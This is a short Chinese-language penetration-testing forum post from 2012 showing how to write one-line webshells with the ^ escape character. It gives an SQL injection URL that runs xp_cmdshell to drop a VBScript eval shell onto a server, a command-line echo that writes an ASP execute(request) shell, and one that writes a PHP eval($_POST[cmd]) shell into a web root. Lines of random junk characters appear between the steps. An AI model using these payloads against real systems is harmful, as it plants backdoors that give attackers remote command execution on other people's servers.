中国网络渗透测试联盟
标题:
转义字符来写ASP(一句话木马)文件的方法
[打印本页]
作者:
admin
时间:
2012-9-15 14:52
标题:
转义字符来写ASP(一句话木马)文件的方法
用^转义字符来写ASP(一句话木马)文件的方法:
3 W# s* F5 G% _0 s1 i1 U
( Y1 h. m: q5 ~0 N3 B& I
1.注入点后执行
http://192.168.1.5/display.asp?keyno=1881;exec
master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
. B8 f* i& v0 M0 j* Y. }
" T a* L0 S. j3 p
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp
. C7 ~. u& r: {+ k4 T7 k; e9 I
9 {/ e5 l) |+ z
5 }+ z6 f; @/ k. I5 g. y
PHP
& _7 y. X: s9 t; B
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2